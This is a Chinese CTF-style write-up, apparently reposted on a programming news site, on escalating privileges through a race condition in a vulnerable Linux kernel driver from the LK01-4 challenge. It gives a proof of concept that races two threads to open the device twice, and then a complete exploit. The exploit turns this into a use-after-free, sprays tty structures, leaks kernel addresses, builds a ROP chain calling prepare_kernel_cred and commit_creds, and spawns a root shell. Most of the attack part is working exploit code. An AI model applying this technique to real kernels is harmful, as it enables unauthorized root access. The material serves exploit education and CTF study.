通过条件竞争实现内核提权

条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。

LK01-4

这里以一道例题作为例子介绍条件竞争在内核中的利用。

open模块

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4

open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。

static int module_open(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_open called\n");if (mutex) {printk(KERN_INFO "resource is busy");return -EBUSY;}mutex = 1;g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);if (!g_buf) {printk(KERN_INFO "kmalloc failed");return -ENOMEM;}return 0;
}

例如以下代码,连续执行两遍open模块时,第二次执行会返回-1

#include <stdio.h>
#include <fcntl.h>
int main()
{int fd1 = open("/dev/holstein",O_RDWR);printf("fd1:%d\n",fd1);int fd2 = open("/dev/holstein",O_RDWR);printf("fd2:%d\n",fd2);}

图片

image-20230921160911373

单线程下执行的流程如下。

图片

image-20230924124535907

但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。

图片

image-20230924125005531

POC

为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。

  • • 首先是POC使用了34作为新打开的文件描述符,这是因为012是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。

  • • 其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。

  • • 然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。

  • • 最后就是验证34是否指向同一块内存了。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}int main()
{pthread_t thread_id1, thread_id2;if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);if (strcmp(temp, "abcdefg")){puts("fail\n");exit(-1);}printf("sucess\n");
}

run.sh

这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。

#!/bin/sh
qemu-system-x86_64 \-m 64M \-nographic \-kernel bzImage \-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \-no-reboot \-cpu qemu64,+smap,+smep \-smp 2 \-monitor /dev/null \-initrd initramfs.cpio.gz \-net nic,model=virtio \-net user \-s

exp

因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff81c6bfe0: pop rcx; ret; 
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0unsigned long user_cs, user_sp, user_ss, user_rflags;void backdoor()
{printf("****getshell****");system("id");system("/bin/sh");
}void save_user_land()
{__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_sp, rsp;""mov user_ss, ss;""pushf;""pop user_rflags;"".att_syntax;");puts("[*] Saved userland registers");printf("[#] cs: 0x%lx \n", user_cs);printf("[#] ss: 0x%lx \n", user_ss);printf("[#] rsp: 0x%lx \n", user_sp);printf("[#] rflags: 0x%lx \n", user_rflags);printf("[#] backdoor: 0x%lx \n\n", backdoor);
}int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}
int main()
{pthread_t thread_id1, thread_id2;int spray[200];save_user_land();if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);printf("temp:%s\n", temp);if (strcmp(temp, "abcdefg")){puts("failure\n");exit(-1);}if (!strcmp(temp,"abcdefg")){printf("sucess\n");close(4);for (int i = 0; i < 50; i++){spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1){printf("error!\n");exit(-1);}}char buf[0x400];read(3, buf, 0x400);unsigned long *p = (unsigned long *)&buf;for (unsigned int i = 0; i < 0x80; i++)printf("[%x]:addr:0x%lx\n",i,p[i]);unsigned long kernel_address = p[3];unsigned long heap_address = p[7];if ((kernel_address >> 32) != 0xffffffff){printf("leak error!\n");exit(-1); }elseprintf("leak  sucess\n");unsigned long kernel_base = kernel_address - 0xc3afe0;unsigned long g_buf = heap_address - 0x38;printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);//getchar(); *(unsigned long *)&buf[0x18] = g_buf;p[0xc] = push_rdx_pop_rsp + kernel_base;//for (unsigned long i = 0xd; i < 0x80; i++)// p[i] = g_buf + i;int index = 0x21;p[index++] = pop_rdi_ret + kernel_base;p[index++] = 0;p[index++] = prepare_kernel_cred + kernel_base;p[index++] = pop_rcx_5 + kernel_base;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = mov_rdi_rax + kernel_base;p[index++] = commit_creds + kernel_base;p[index++] = swapgs_restore + kernel_base + 22;p[index++] = 0;p[index++] = 0;p[index++] = (unsigned long)backdoor;p[index++] = user_cs;p[index++] = user_rflags;p[index++] = user_sp;p[index++] = user_ss;    write(3, buf, 0x400); ioctl(4, 0, g_buf + 0x100);   }return 0; 
}

CPU Affinity(CPU 亲和性)

这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。

首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置 CPU 亲和性。

#define _GNU_SOURCE
#include <sched.h>...cpu_set_t t1_cpu, t2_cpu;CPU_ZERO(&t1_cpu);CPU_ZERO(&t2_cpu);CPU_SET(0, &t1_cpu);CPU_SET(1, &t2_cpu);
...if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0){fprintf(stderr, "thread error\n");return 1;}    void *thread_function(void *arg) {cpu_set_t *cpu_set = (cpu_set_t  *)arg;int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);...
}    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/178326.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

01背包问题

算法分析&#xff1a; 算法优化&#xff1a;&#xff08;转为一维进行存储&#xff09; &#xff1a; 代码实现&#xff1a;

Qt5 安装 phonon

Qt5 安装 phonon Qt5 安装 phonon问题描述安装组件 Qt5 安装 phonon 开发环境&#xff1a;Qt Creator 4.6.2 Based on Qt 5.9.6 问题描述 在运行 Qt5 项目时&#xff0c;显示错误&#xff1a; error: Unknown module(s) in QT: phonon这是缺少组件的原因&#xff0c;QT: pho…

微服务框架SpringcloudAlibaba+Nacos集成RabbitMQ

目前公司使用jeepluscloud版本&#xff0c;这个版本没有集成消息队列&#xff0c;这里记录一下&#xff0c;集成的过程&#xff1b;这个框架跟ruoyi的那个微服务版本结构一模一样&#xff0c;所以也可以快速上手。 1.项目结构图&#xff1a; 配置类的东西做成一个公共的模块 …

机器学习快速入门教程 Scikit-Learn实现

机器学习是什么? 机器学习是一帮计算机科学家想让计算机像人一样思考所研发出来的计算机理论。他们曾经说过,人和计算机其实本没有差别,同样都是一大批互相连接的信息传递和存储元素所组成的系统。所以有了这样的想法,加上他们得天独厚的数学功底,机器学习的前身也就孕育而生…

的修工单管理系统好用吗?工单系统应该怎么选?

在当今的数字化时代&#xff0c;企业运营效率的高低往往取决于其内部管理工具的先进性和实用性。工单管理系统作为企业运营中的重要工具&#xff0c;其作用日益凸显。市场上存在许多工单管理系统&#xff0c;但“的修”以其独特的产品差异化和优势&#xff0c;在竞争中独树一帜…

容器:软件性能测试的最佳环境

容器总体上提供了一种经济的和可扩展的方法来测试产品在实际情况下的性能&#xff0c;同时还能保持较低的资源成本和开销成本。 软件性能和可伸缩性是我们谈论应用程序开发时经常遇到的话题。一个很大的原因是应用程序的性能和可伸缩性直接影响其在市场上的成功。一个应用程序…

flink状态不能跨算子

背景 在flink中进行状态的维护和管理应该是我们经常做的事情&#xff0c;但是有些同学认为名称一样的状态在不同算子之间的状态是同一个&#xff0c;事实是这样吗&#xff1f; flink状态在保存点中的存放示意图 事实上&#xff0c;每个状态都归属于对应的算子&#xff0c;也…

外汇天眼:MAS下令星展银行暂停六个月的非必要活动

新加坡金融管理局&#xff08;MAS&#xff09;已经决定对星展银行有限公司&#xff08;DBS Bank Ltd&#xff09;的非必要IT变更进行为期六个月的暂停&#xff0c;以确保银行集中精力恢复其数字银行服务的弹性。在此期间&#xff0c;星展银行将不被允许开展新的业务&#xff0c…

python项目部署代码汇总:目标检测类、人体姿态类

一、AI健身计数 1、图片视频检测 &#xff08;cpu运行&#xff09;&#xff1a; 注&#xff1a;左上角为fps&#xff0c;左下角为次数统计。 1.哑铃弯举&#xff1a;12&#xff0c;14&#xff0c;16 详细环境安装教程&#xff1a;pyqt5AI健身CPU实时检测mediapipe 可视化界面…

MAA连不上MUMU模拟器

之前一直能正常用&#xff0c;最近突然连接不上&#xff0c;最终发现是adb版本不同造成的&#xff0c;我系统变量的adb版本如下&#xff1a; MUMU自带adb版本如下&#xff1a; 解决办法&#xff1a; 把mumu的adb复制到系统变量路径下&#xff0c;或者把adb的系统变量删除

Python 框架学习 Django篇 (八) 代码优化、数据库冗余处理

我们开发软件系统的时候&#xff0c;需要不断的反思我们代码里面是否有可以优化的地方。而优化的重点之一&#xff0c;就是把冗余的代码优化为可以复用的库。我们在前面编写了一些功能&#xff0c;但是其中存在很多冗余的方法 mgr/medicine.py mgr/k8s.py mgr/medicine.py 打开…

Mac/Linux类虚拟机_CrossOver虚拟机CrossOver 23.6正式发布2024全新功能解析

CodeWeivers 公司于今年 10 月发布了 CrossOver 23.6 测试版&#xff0c;重点添加了对 DirectX 12 支持&#xff0c;从而在 Mac 上更好地模拟运行 Windows 游戏。 该公司今天发布新闻稿&#xff0c;表示正式发布 CrossOver 23 稳定版&#xff0c;在诸多新增功能中&#xff0c;最…

我和“云栖大会”的双向奔赴

目录 引言初次参加云栖大会云栖大会带来的技术风向标本届大会最强技术有哪些&#xff1f;云栖大会对我职业生涯的影响个人对未来云栖大会的期待和建议结语 引言 想必大家对“云栖大会”并不陌生&#xff0c;“云栖大会”作为国内最具规模和影响力的云计算盛会&#xff0c;每年…

Jellyfin转码和色调映射效率提升:开启处理器低电压模式(GuC/HuC)

Jellyfin转码和色调映射效率提升 系统环境拉取nyanmisaka/jellyfin镜像开启低电压模式Jellyfin配置开启QSV和低电压模式解码开启色调映射&#xff08;基于OpenCL&#xff09; 实测验证低电压模式转码帧率实测测试视频概况221029版本 vs 230901版本开启色调映射的影响开启低电压…

移动路由器Cellular Router命令执行漏洞复现 [附POC]

文章目录 移动路由器Cellular Router命令执行漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 移动路由器Cellular Router命令执行漏洞复现 [附POC] 0x01 前言 免责声明&#xff1a;请勿利用文章…

线扫相机DALSA-相机平场矫正详细步骤

在相机视野下铺放白色亚克力板或纯白纸&#xff0c;采集图像。打开曲线图。 选择 Line Profile 模式。调节好相应所需的曝光时间、光源、增益和镜头光圈&#xff0c;让白平衡纸显示出来的灰度值大概在 150-200 左右。 在Calibration Algorithm 中将显示的数值设置好。 先暗场…

Notepad++下载、使用

下载 https://notepad-plus-plus.org/downloads/ 安装 双击安装 选择安装路径 使用 在文件夹中搜索 文件类型可以根据需要设置 如 *.* 说明是所有文件类型&#xff1b; *.tar 说明是所有文件后缀是是tar的文件‘&#xff1b;

Flink1.18新特性生产环境应用的重点解读!

大家好&#xff0c;我是你们的群主王知无呀。 Flink 1.18已经于近期发布了。在这个新版本中新增了很多新的功能和特性。在这些特性中&#xff0c;有一些是生产环境非常重要的能力&#xff0c;大家在使用过程中可以重点参考和了解其中的原理。 算子级别状态保留时间TTL设置 首先…

企业邮箱:哪个品牌最实用?

企业邮箱用哪个品牌的好用&#xff1f;从无广告、新手上手难度、功能来看Zoho Mail企业邮箱&#xff0c;优势很大。Zoho Mail企业邮箱界面简洁无广告&#xff0c;让用户可以更专注的去处理邮件&#xff0c;为了便于用户处理邮件&#xff0c;Zoho 还提供了多种整理和分类邮件的选…

学习c++的第二天

目录 数据类型 基本数据类型 typedef 声明 枚举类型 类型转换 变量类型 变量定义 变量声明 左值&#xff08;Lvalues&#xff09;和右值&#xff08;Rvalues&#xff09; 变量作用域 数据类型 基本数据类型 C 为程序员提供了种类丰富的内置数据类型和用户自定义的数…